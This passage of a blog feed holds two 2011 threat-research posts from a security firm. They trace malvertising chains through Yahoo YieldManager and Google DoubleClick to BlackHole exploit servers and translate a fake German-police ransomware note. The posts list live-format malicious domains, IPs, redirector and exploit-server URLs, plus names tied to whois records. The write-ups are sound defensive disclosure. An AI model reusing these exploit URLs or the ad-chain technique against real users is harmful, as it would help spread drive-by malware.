href="http://2.bp.blogspot.com/-8LXZ2TRjC9I/Tl2W1cuZOFI/AAAAAAAACd4/fte6M40GrcA/s1600/malvertising%2Byahoo%2Byieldmanager%2Bransomware%2Bfederal%2Bgerman%2Bpolice%2BBKA%2Bnotice%2Bjapan%2Bsite.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-8LXZ2TRjC9I/Tl2W1cuZOFI/AAAAAAAACd4/fte6M40GrcA/s1600/malvertising%2Byahoo%2Byieldmanager%2Bransomware%2Bfederal%2Bgerman%2Bpolice%2BBKA%2Bnotice%2Bjapan%2Bsite.png" border="0" width="750" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;center&gt;(Above: Even Japanese sites were hit)&lt;/center&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-A5_ZTJYLDxs/Tl2OSWtNvvI/AAAAAAAACdo/5M_f_m56p_4/s1600/malvertising%2Byahoo%2Byieldmanager%2Bransomware%2Bfederal%2Bgerman%2Bpolice%2BBKA%2Bnotice.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-A5_ZTJYLDxs/Tl2OSWtNvvI/AAAAAAAACdo/5M_f_m56p_4/s1600/malvertising%2Byahoo%2Byieldmanager%2Bransomware%2Bfederal%2Bgerman%2Bpolice%2BBKA%2Bnotice.png" border="0" width="750" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;center&gt;(Above: The installed Ransomeware--acting as Federal German Police (BKA))&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="video"&gt;&lt;b&gt;Below is our video report:&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;iframe src="http://www.youtube.com/embed/mvlONiopsmM" allowfullscreen="" frameborder="0" height="468" width="750"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;b&gt;Table of contents&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=1976421563973665737#summary"&gt;[Summary]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=1976421563973665737#trace"&gt;[Attack Trace]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=1976421563973665737#puzzle"&gt;[Malvertising Analysis--The Puzzle]&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=1976421563973665737#malware"&gt;[The malware]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="summary"&gt;&lt;b&gt;[Summary]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Incident type:&lt;/b&gt; Malvertising&lt;br /&gt;&lt;b&gt;Incident subtype:&lt;/b&gt; Drive-by download, ransomware&lt;br /&gt;&lt;b&gt;Responsible ad network:&lt;/b&gt; Yahoo YieldManager (RightMedia)&lt;br /&gt;&lt;b&gt;Affected websites:&lt;/b&gt; Very large websites like ziddu.com to worldwide websites large and small. Ziddu for example has &lt;a href="http://www.checksitetraffic.com/traffic_spy/ziddu.com"&gt; 1,492,133 page views and 364,825 unique visitors per day&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;Affected visitors:&lt;/b&gt; German visitors only&lt;br /&gt;&lt;b&gt;Fake advertiser:&lt;/b&gt; kineticgames.info&lt;br /&gt;&lt;b&gt;Exploit server:&lt;/b&gt; BlackHole exploit pack running on town.incredibleoutcomes.com&lt;br /&gt;&lt;b&gt;Malicious domains:&lt;/b&gt;&lt;br /&gt;kineticgames.info (184.172.216.234, ASN 36351, US Dallas)&lt;br /&gt;sahoreen.in (184.172.216.234, ASN 36351, US Dallas)&lt;br /&gt;belygaur.in (184.172.216.234, ASN 36351, US Dallas)&lt;br /&gt;town.incredibleoutcomes.com (195.200.90.129, ASN 35524, Ukraine)&lt;br /&gt;bundespol.net (188.229.97.2, ASN 44872, Romanina)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Associated names and emails:&lt;/b&gt;&lt;br /&gt;einzahlung@bundespol.net&lt;br /&gt;Vasiliy Pushkin, vasili006@gmail.com&lt;br /&gt;Piotr Pushkin, pppiotr88@gmail.com&lt;br /&gt;&lt;br /&gt;&lt;a name="trace"&gt;&lt;b&gt;[Attack Trace]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;Using ziddu.com as example.&lt;br /&gt;&lt;br /&gt;Link 1: &lt;b&gt;(Publisher)&lt;/b&gt;&lt;br /&gt;Ziddu's website includes the following ad tag:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;IFRAME FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=NO WIDTH=728 HEIGHT=90 SRC="http://ad.globe7.com/st?ad_type=iframe&amp;amp;ad_size=728x90&amp;amp;section=836122"&amp;gt;&amp;lt;/IFRAME&amp;gt;&lt;br /&gt;&lt;/pre&gt;Link 2: &lt;b&gt;(Ad Network)&lt;/b&gt; http://ad.globe7.com/st?ad_type=iframe&amp;amp;ad_size=728x90§ion=836122 is loaded, which contains javascript that generates an iframe to:&lt;br /&gt;&lt;br /&gt;Link 3: &lt;b&gt;(Ad Network)&lt;/b&gt; http://ad.globe7.com/imp?Z=728x90&amp;amp;s=836122&amp;amp;_salt=2314211323&amp;amp;B=10&amp;amp;u=http%3A%2F%2Fwww.ziddu.com%2F&amp;amp;r=0, which throws back an HTTP 302 redirect to:&lt;br /&gt;&lt;br /&gt;Link 4: &lt;b&gt;(Ad Network)&lt;/b&gt; &lt;b&gt;http://ad.yieldmanager.com/imp?Z=728x90&amp;amp;s=836122&amp;amp;_salt=2314211323&amp;amp;B=10&amp;amp;u=http%3A%2F%2Fwww.ziddu.com%2F&amp;amp;r=0&lt;/b&gt;, which contains javascript that generates an iframe to:&lt;br /&gt;&lt;br /&gt;Link 5: &lt;b&gt;(Ad Network)&lt;/b&gt; http://ad.globe7.com/iframe3?2YA.ABrCDABgVKUAAAAAAMWJKAAAAAAAAgAEAAYAAAAAAP8AAAACBvPdGQAAAAAAIrsPAAAAAACYIzUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABZlQYAAAAAAAIAAwAAAAAAASuHFtnOtz8BK4cW2c63PwErhxbZzsc.ASuHFtnOxz8zMzMzMzPTPzMzMzMzM9M.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACkuxJPXfCjCqRit3MeuQtEnvXOi1a6Cp0X0hsNAAAAAA==,,http%3A%2F%2Fwww.ziddu.com%2F,B%3D10%26Z%3D728x90%26_salt%3D2314211323%26r%3D0%26s%3D836122,a5451910-d1f1-11e0-906f-87d5341e0e89, which throws an HTTP 302 redirect to:&lt;br /&gt;&lt;br /&gt;Link 6: &lt;b&gt;(Ad Network)&lt;/b&gt; &lt;b&gt;http://ad.yieldmanager.com/iframe3?2YA.ABrCDABgVKUAAAAAAMWJKAAAAAAAAgAEAAYAAAAAAP8AAAACBvPdGQAAAAAAIrsPAAAAAACYIzUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABZlQYAAAAAAAIAAwAAAAAAASuHFtnOtz8BK4cW2c63PwErhxbZzsc.ASuHFtnOxz8zMzMzMzPTPzMzMzMzM9M.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACkuxJPXfCjCqRit3MeuQtEnvXOi1a6Cp0X0hsNAAAAAA==,,http%3A%2F%2Fwww.ziddu.com%2F,B%3D10%26Z%3D728x90%26_salt%3D2314211323%26r%3D0%26s%3D836122,a5451910-d1f1-11e0-906f-87d5341e0e89&lt;/b&gt;, which contains javascript that a) displays the malicious ad, and b) generates an iframe to the &lt;b&gt;exploit server&lt;/b&gt;. Note the iframe URL ends with .jpg in order to disguise and be less obvious.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-XrsmTZZVlkI/Tl2lKEjxQ_I/AAAAAAAACeg/3uPMFzqBhpA/s1600/malvertising%2Byieldmanager%2Bkineticgames%2B1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://1.bp.blogspot.com/-XrsmTZZVlkI/Tl2lKEjxQ_I/AAAAAAAACeg/3uPMFzqBhpA/s1600/malvertising%2Byieldmanager%2Bkineticgames%2B1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;(full copy-able text can be found on &lt;a href="http://snipt.net/waynehuang/malvertising-on-yahoo-yieldmanager-spreading-ransomeware-acting-as-federal-german-police-bka?key=fee96bfd624098cc88aec8c8a5ab54b4"&gt;snipt here&lt;/a&gt;&amp;gt;&lt;br /&gt;Link 7-a: &lt;b&gt;(Fake Advertiser, Creative)&lt;/b&gt; http://kineticgames.info/images/728x90-1-1.gif, which is the actual malicous creative (malvertisement).&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-yRKZABo9US8/Tl2iTmhqvBI/AAAAAAAACeA/LXHOBtZNNL0/s1600/malvertising%2Byahoo%2Byieldmanager%2Bransomware%2Bfederal%2Bgerman%2Bpolice%2BBKA%2Bnotice%2B728x90-1-1.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://4.bp.blogspot.com/-yRKZABo9US8/Tl2iTmhqvBI/AAAAAAAACeA/LXHOBtZNNL0/s1600/malvertising%2Byahoo%2Byieldmanager%2Bransomware%2Bfederal%2Bgerman%2Bpolice%2BBKA%2Bnotice%2B728x90-1-1.gif" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Link 7-b: &lt;b&gt;(Fake Advertiser, malicious script)&lt;/b&gt; http://kineticgames.info/pubage/728x90.jpg, although the URL ends in .jpg, it's actually serving HTML containing an iframe pointing to:&lt;br /&gt;&lt;br /&gt;Link 8: &lt;b&gt;(Malicious redirector)&lt;/b&gt; http://sahoreen.in/hitcounter.php?u=pubage, which contains an iframe pointing to:&lt;br /&gt;&lt;br /&gt;Link 9: &lt;b&gt;(Malicious redirector)&lt;/b&gt; http://belygaur.in/ts/in.cgi?pubage, which throws an HTTP 302 redirect pointing to the exploit server:&lt;br /&gt;&lt;br /&gt;Link 10: &lt;b&gt;(Exploit server)&lt;/b&gt; http://town.incredibleoutcomes.com/index.php?tp=7058439543afabcf, serves BlackHole exploit pack. This isn't a malicious domain registered by the attacker, but a legitimate but compromised domain.&lt;br /&gt;&lt;br /&gt;&lt;a name="puzzle"&gt;&lt;b&gt;[Malvertising Analysis--The Puzzle]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Below are some causes of malvertising:&lt;br /&gt;&lt;br /&gt;a) The attacker pretends to be a legitimate advertiser, submits a malicious ad (malvertisement) to an ad network, and tricks the ad network into accepting the submission.&lt;br /&gt;&lt;br /&gt;b) The ad network was compromised, and the attacker injected malicious scripts into a link in the ad-serving chain.&lt;br /&gt;&lt;br /&gt;So which case is this? Well for this particular case, it was a bit difficult for us to determine.&lt;br /&gt;&lt;br /&gt;Upon first look, it seems to be case (a), because the advertiser in this case--kineticgames.info (184.172.216.234, ASN 36351, US Dallas), has a whois record with a Russian name and street address, yet is using an US IP and an Indian domain name for its name server (ns1.plumdook.in).&lt;br /&gt;&lt;br /&gt;HOWEVER, the domain was registered on Aug 9th, 2010, which was a year ago, and from the screenshot below  you can see that it sees to be quite a legitimate website:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Js_yKvG_w2k/Tl57lwq25vI/AAAAAAAACew/qXJ6G5fpdRE/s1600/malvertising%2Byieldmanager%2Bkineticgames%2B2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-Js_yKvG_w2k/Tl57lwq25vI/AAAAAAAACew/qXJ6G5fpdRE/s1600/malvertising%2Byieldmanager%2Bkineticgames%2B2.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Compared to many malvertising incidents we've studied, most fake domains will have been registered very recently and will either not have any website content, or will have content illegally mirrored (copied) from other websites.&lt;br /&gt;&lt;br /&gt;This doesn't seem to be the case. So, is it case (b), where kineticgames.info is indeed a legitimate website, but have been compromised to serve malvertisements?&lt;br /&gt;&lt;br /&gt;Seems reasonable, but only until we look at the other associated malicious domains. These are:&lt;br /&gt;&lt;br /&gt;sahoreen.in (184.172.216.234, ASN 36351, US Dallas)&lt;br /&gt;belygaur.in (184.172.216.234, ASN 36351, US Dallas)&lt;br /&gt;&lt;br /&gt;These two domains were both created very recently, on the same day--July 7th, 2011. The whois records show the registrant to be "Piotr Poshkin," which resembles kineticgames.info's current "Vasiliy Pushkin." Furthermore, the phone number, street address, and zip codes are exactly the same as kineticgames.info's.&lt;br /&gt;&lt;br /&gt;Kineticgames.info actually has a sister domain name: kinetic-games.com, registered on the same day last year (Aug 9th, 2010), and serving the same content. Both were initially registered under Bob Stevenson of Spain. Then, on July 14th and July 17th, 2011, kinetic-games.com and kineticgames.info were respectively transfered to the current contact (according to whois records) "Vasiliy Pushkin" of Russia.&lt;br /&gt;&lt;br /&gt;Could it be, that it is the new owner, who is intentionally doing malvertising using these domains and the website, because the identity is seemingly legit?&lt;br /&gt;&lt;br /&gt;Or could it be, that none of these matters, and that kineticgames.info simply have been hacked into and the attackers used it to submit malvertisement, and intentionally registered the malicious redirector domains sahoreen.in and belygaur.in to have whois records that resemble that of kineticgames.info?&lt;br /&gt;&lt;br /&gt;Finally, two additional pieces of important information. First, according to &lt;a href="http://web.archive.org/web/20110128164001/http://kinetic-games.com/"&gt;Internet Archive (Wayback Machine)&lt;/a&gt;, as of Jan 28th, 2011, kinetic-games.com had no actual website content--the owner was just registering the domain to sell as a premium domain:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-FTPr9zSAXIs/Tl711ZyeYwI/AAAAAAAACe4/RtpZ4kH052A/s1600/malvertising%2Byieldmanager%2Bkineticgames%2B3.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://4.bp.blogspot.com/-FTPr9zSAXIs/Tl711ZyeYwI/AAAAAAAACe4/RtpZ4kH052A/s1600/malvertising%2Byieldmanager%2Bkineticgames%2B3.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Second, the website as of now, contains lots of vulnerabilities. It should be quite easy for someone to hack into both websites.&lt;br /&gt;&lt;br /&gt;So what's the deal here?&lt;br /&gt;&lt;br /&gt;We cannot make a conclusion right here. Perhaps the reader can help solve the puzzle?&lt;br /&gt;&lt;br /&gt;&lt;a name="malware"&gt;&lt;b&gt;[The Malware]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-I9hZB0CPDOA/Tl5uZFuOKCI/AAAAAAAACeo/4zFmBo28Am0/s1600/malvertising%2Byieldmanager%2Bransomware%2Bgerman%2Bfederal%2Bpolice.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://3.bp.blogspot.com/-I9hZB0CPDOA/Tl5uZFuOKCI/AAAAAAAACeo/4zFmBo28Am0/s1600/malvertising%2Byieldmanager%2Bransomware%2Bgerman%2Bfederal%2Bpolice.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;The malware pretends to be a crime-detection software from the Federal German Police. You can see in the screenshot above, it's using logo stolen from the real Federal German Police (&lt;a href="http://www.bundespolizei.de/"&gt;Bundespolizei&lt;/a&gt;). It claims to have found child pornography along with other illegal content on the victim's computer. It claims that the victim's IP, OS, location, ISP, etc, have all been recorded, and locks down the computer completely, "to prevent further abuse."&lt;br /&gt;&lt;br /&gt;A fine of 100 Euros must be paid within 24 hours to unlock the computer, or else all data will be deleted. We are in the process of informing all parties involved. This is our report.&lt;br /&gt;&lt;br /&gt;This thread of ransomware has been around for a few months already, but improvements seen in this version include:&lt;br /&gt;&lt;br /&gt;a) They now have an email "einzahlung@bundespol.net" that somewhat resembles the Federal German Police, who uses "@bundespolizei.de. The domain was registered through Bizcn.com, a registrar in China.&lt;br /&gt;&lt;br /&gt;b) They now support two payment gateways, &lt;a href="http://www.ukash.com/"&gt;UKash&lt;/a&gt; and &lt;a href="http://www.paysafecard.com/"&gt;paysafecard&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Below is a translation of the text:&lt;br /&gt;&lt;br /&gt;Attention!&lt;br /&gt;&lt;br /&gt;Illegal operational activities have been detected. Based on laws of the Federal Republic of Germany, the system has been locked. The following legal violation has been detected: Your IP _______ was detected to have visited pages containing pornography, child pornography, bestiality and violence against children. At the same time, your computer has been identified to contain video files involving pornography, violence, and child pornography content! Furthermore, spam emails containing terrorism content were also sent from here. Your computer is therefore locked in order to eliminate the above illegal activities.&lt;br /&gt;&lt;br /&gt;Your details:&lt;br /&gt;IP, location, OS, ISP, etc.&lt;br /&gt;&lt;br /&gt;In order to unlock this computer, you are obligated by law to pay a 100 Euro fine. You must make the payment within 24 hours. If payment has not been made within the allotted time, your hard disk will be irreversibly formatted.&lt;br /&gt;&lt;br /&gt;1) Payment via Ukash:&lt;br /&gt;&lt;br /&gt;To perform the transaction, please enter your purchased voucher code into the payment textbox and press OK. In case of errors, you should email your code to einzahlung@bundespol.net.&lt;br /&gt;&lt;br /&gt;2) Payment via paysafecard:&lt;br /&gt;&lt;br /&gt;Please input the code into the payment textbox and press OK. In case of errors, you should email your code to einzahlung@bundespol.net.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-1976421563973665737?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/1976421563973665737/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/08/malvertising-on-yahoo-yieldmanager.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/1976421563973665737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/1976421563973665737'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/08/malvertising-on-yahoo-yieldmanager.html' title='Malvertising on Yahoo YieldManager, spreading ransomeware acting as Federal German Police (BKA)--Help solve the puzzle!'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-qyWHGQxwkPc/Tl0dNR-1g1I/AAAAAAAACdg/wsYFRVfM3NQ/s72-c/malvertising%2Byieldmanager%2Bziddu%2Bwebsite.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-105413394101187254</id><published>2011-08-25T05:01:00.000-07:00</published><updated>2011-08-25T18:06:26.179-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malvertising'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Malvertising on Google Doubleclick ongoing</title><content type='html'>(credits: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-rJpCttTqIv8/TlYqg4QRGVI/AAAAAAAACdQ/ZE1xOY7MASQ/s1600/728.PNG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-rJpCttTqIv8/TlYqg4QRGVI/AAAAAAAACdQ/ZE1xOY7MASQ/s1600/728.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;In the past few days, our scanners noticed malvertising on Google DoubleClick. The malvertisement is being provided to DoubleClick by &lt;a href="http://www.adify.com/"&gt;Adify (Now a part of Cox Digital Solutions)&lt;/a&gt;, and to Adify by &lt;a href="http://www.pulpomedia.com/"&gt;Pulpo Media&lt;/a&gt;, and to Pulpo Media by the malicious attackers pretending to be advertisers: indistic.com. The malvertisement causes visitor browsers to load exploits from kokojamba.cz.cc (the exploit domain), which is running the BlackHole exploit pack. Currently, &lt;a href="http://www.virustotal.com/file-scan/report.html?id=e9b5ec9e01c600224641e7969dc825e731f96396794b87081c3680642d677079-1314232869"&gt;7 out of 44 vendors on VirusTotal&lt;/a&gt; can detect this malware.&lt;br /&gt;&lt;br /&gt;This is our report. We plan to put up the video later--we still need to narrate it, which will take some time. As DoubleClick is a very large AD network, we decided to put up the post quickly.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;The first link in the infection chain is the following standard script for all websites using Google DoubleClick for Publishers (Google DFP): &lt;br /&gt;&lt;br /&gt;(Link 1:)&lt;br /&gt;&amp;lt;script type='text/javascript' src='hxxp://partner.googleadservices.com/gampad/google_service.js'&amp;gt;&lt;br /&gt;&lt;br /&gt;Which generates a &amp;lt;script src&amp;gt; tag, causing the browser to load javascript from:&lt;br /&gt;&lt;br /&gt;(Link 2:)&lt;br /&gt;http://partner.googleadservices.com/gampad/google_ads.js&lt;br /&gt;&lt;br /&gt;Which generates a &amp;lt;script src&amp;gt; tag, causing the browser to load javascript from:&lt;br /&gt;&lt;br /&gt;(Link 3:)&lt;br /&gt;http://pubads.g.doubleclick.net/gampad/ads?correlator=1314244145446&amp;output=json_html&amp;callback=GA_googleSetAdContentsBySlotForSync&amp;impl=s&amp;client=ca-pub-1199834677431615&amp;slotname=LA_PRENSA_Poderes_728x90_Superior&amp;page_slots=LA_PRENSA_Poderes_728x90_Superior&amp;cookie=ID%3D6ece38c99f627779%3AT%3D1314244080%3AS%3DALNI_MbRwmcAoAFohCjkKxnj_JXcxZEUEA&amp;url=http%3A%2F%2Fwww.laprensa.com.ni%2F2011%2F08%2F23%2Fpoderes&amp;lmt=1314244147&amp;dt=1314244147962&amp;cc=100&amp;oe=utf-8&amp;biw=878&amp;bih=477&amp;ifi=1&amp;adk=2910702588&amp;u_tz=480&amp;u_his=2&amp;u_java=true&amp;u_h=1920&amp;u_w=1080&amp;u_ah=1892&amp;u_aw=1080&amp;u_cd=32&amp;flash=10.1.102.64&amp;gads=v2&amp;ga_vid=2122880267.1314244061&amp;ga_sid=1314244061&amp;ga_hid=187578555&amp;ga_fc=true&lt;br /&gt;&lt;br /&gt;Which generates a &amp;lt;script src&amp;gt; tag, causing the browser to load javascript from &lt;a href="http://www.adify.com/"&gt;Adify (Now a part of Cox Digital Solutions)&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;(Link 4:)&lt;br /&gt;http://ad.afy11.net/srad.js?azId=1000004110207&lt;br /&gt;&lt;br /&gt;Which generates a &amp;lt;script src&amp;gt; tag, causing the browser to load javascript from:&lt;br /&gt;&lt;br /&gt;(Link 5:)&lt;br /&gt;http://ad.afy11.net/ad?asId=1000004110207&amp;sd=2x728x90&amp;ct=15&amp;enc=1&amp;nif=1&amp;sf=0&amp;sfd=0&amp;ynw=0&amp;anw=1&amp;rand=55943306&amp;rk1=56285031&amp;rk2=1314244149.806&amp;pt=0&amp;asc=3x133&amp;vad=878x477&lt;br /&gt;&lt;br /&gt;Which generates an iframe, causing the browser to load javascript from tentaculos.net, which is a part of Pulpo Media:&lt;br /&gt;&lt;br /&gt;(Link 6:)&lt;br /&gt;http://d1.tentaculos.net/afr.php?zoneid=2100&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;ct0=INSERT_CLICKURL_HERE&lt;br /&gt;&lt;br /&gt;Which gives an HTTP 302 redirect to:&lt;br /&gt;&lt;br /&gt;(Link 7:)&lt;br /&gt;http://d1.tentaculos.net/afr.php?ct=1&amp;zoneid=2100&amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;ct0=INSERT_CLICKURL_HERE&lt;br /&gt;&lt;br /&gt;Which generates a &amp;lt;script src&amp;gt; tag, causing the browser to load javascript from:&lt;br /&gt;&lt;br /&gt;(Link 8:)&lt;br /&gt;http://indistic.com/media/display/engine/091/impr/j/hd/?gfb=178k1&amp;tprk=837168u&amp;campaignid=142038917&lt;br /&gt;&lt;br /&gt;This is the malicious advertiser. The above javascript generates an iframe, causing the browser to load from the exploit domain kokojamba.cz.cc (Link 9-a), and also the creative (the banner ad) itself (Link 9-b) as a .png file. Here's a snippet of this javascript:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-9GtvFp4uAss/TlYydkcqfoI/AAAAAAAACdY/OFL0Pds_Bkk/s1600/malvertising_doubleclick_adify_pulpo_media_snippet.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0"  src="http://1.bp.blogspot.com/-9GtvFp4uAss/TlYydkcqfoI/AAAAAAAACdY/OFL0Pds_Bkk/s1600/malvertising_doubleclick_adify_pulpo_media_snippet.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The entire javascript code can be &lt;a href="http://snipt.net/waynehuang/malvertising-snippet-blog-http?key=cad7f74d6626f64c875cd39c1ff4c0b3"&gt;found here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The domain "indistic.com" was registered on Aug 12, 2011 &lt;b&gt;(evidence 1)&lt;/b&gt; by "Marcene D. Rohodes (marcenedrhodessm@yahoo.com). The domain currently runs on IP 95.64.46.84 (AS49734) (thank you Jason D.Seimesi), which is located in Romania. The whois records show a US street address but with a Lithuania phone number and a Romanian IP &lt;b&gt;(evidence 2)&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;=====================================&lt;br /&gt;Administrative Contact: &lt;br /&gt;Name: Marcene D. Rhodes&lt;br /&gt;Organization: no&lt;br /&gt;Address: 4653 Twin House Lane&lt;br /&gt;City: Mount Vernon&lt;br /&gt;Province/state: MO&lt;br /&gt;Country: US&lt;br /&gt;Postal Code: 65712&lt;br /&gt;Phone: +370.956734778&lt;br /&gt;Fax: +370.956734778&lt;br /&gt;=====================================&lt;br /&gt;&lt;br /&gt;The domain is using FreeDNS on freedns.afraid.org &lt;b&gt;(evidence 3)&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;So there were at least three evidences here, that indistic.com wasn't a legitimate advertiser. This malvertisement shouldn't have been let into this chain of AD networks.&lt;br /&gt;&lt;br /&gt;Furthermore, as (Jason D.Seimesi pointed out, the same IP is also used by pisofta.com--another domain also registered on Aug 12. Therefore there should be more than one malicious advertiser identify associated with this effort.&lt;br /&gt;&lt;br /&gt;(Link 9-a, BlackHole exploit pack:)&lt;br /&gt;http://kokojamba.cz.cc/index.php?tp=2733de342143bbc7&lt;br /&gt;&lt;br /&gt;kokojamba.cz.cc is the exploit domain running the BlackHole exploit pack. It is currently running on IP 178.238.36.64, located in Jihomoravský kraj of Czech Republic.&lt;br /&gt;&lt;br /&gt;(Link 9-b:)&lt;br /&gt;http://indistic.com/crt/1Npstr/728.PNG&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-rJpCttTqIv8/TlYqg4QRGVI/AAAAAAAACdQ/ZE1xOY7MASQ/s1600/728.PNG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-rJpCttTqIv8/TlYqg4QRGVI/AAAAAAAACdQ/ZE1xOY7MASQ/s1600/728.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Currently, &lt;a href="http://www.virustotal.com/file-scan/report.html?id=e9b5ec9e01c600224641e7969dc825e731f96396794b87081c3680642d677079-1314232869"&gt;7 out of 44 vendors on VirusTotal&lt;/a&gt; can detect this malware:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-DO9WKfdi_cg/TlYiEXxt29I/AAAAAAAACdI/u7WKT1VCY2o/s1600/2011-08-25_181920.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-DO9WKfdi_cg/TlYiEXxt29I/AAAAAAAACdI/u7WKT1VCY2o/s1600/2011-08-25_181920.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;We are in the process of informing all parties involved. If you know more about this incident, please email us at wayne@armorize.com&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-105413394101187254?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/105413394101187254/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/08/malvertising-on-google-doubleclick.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/105413394101187254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/105413394101187254'/><link rel='alternate' type='text/html' 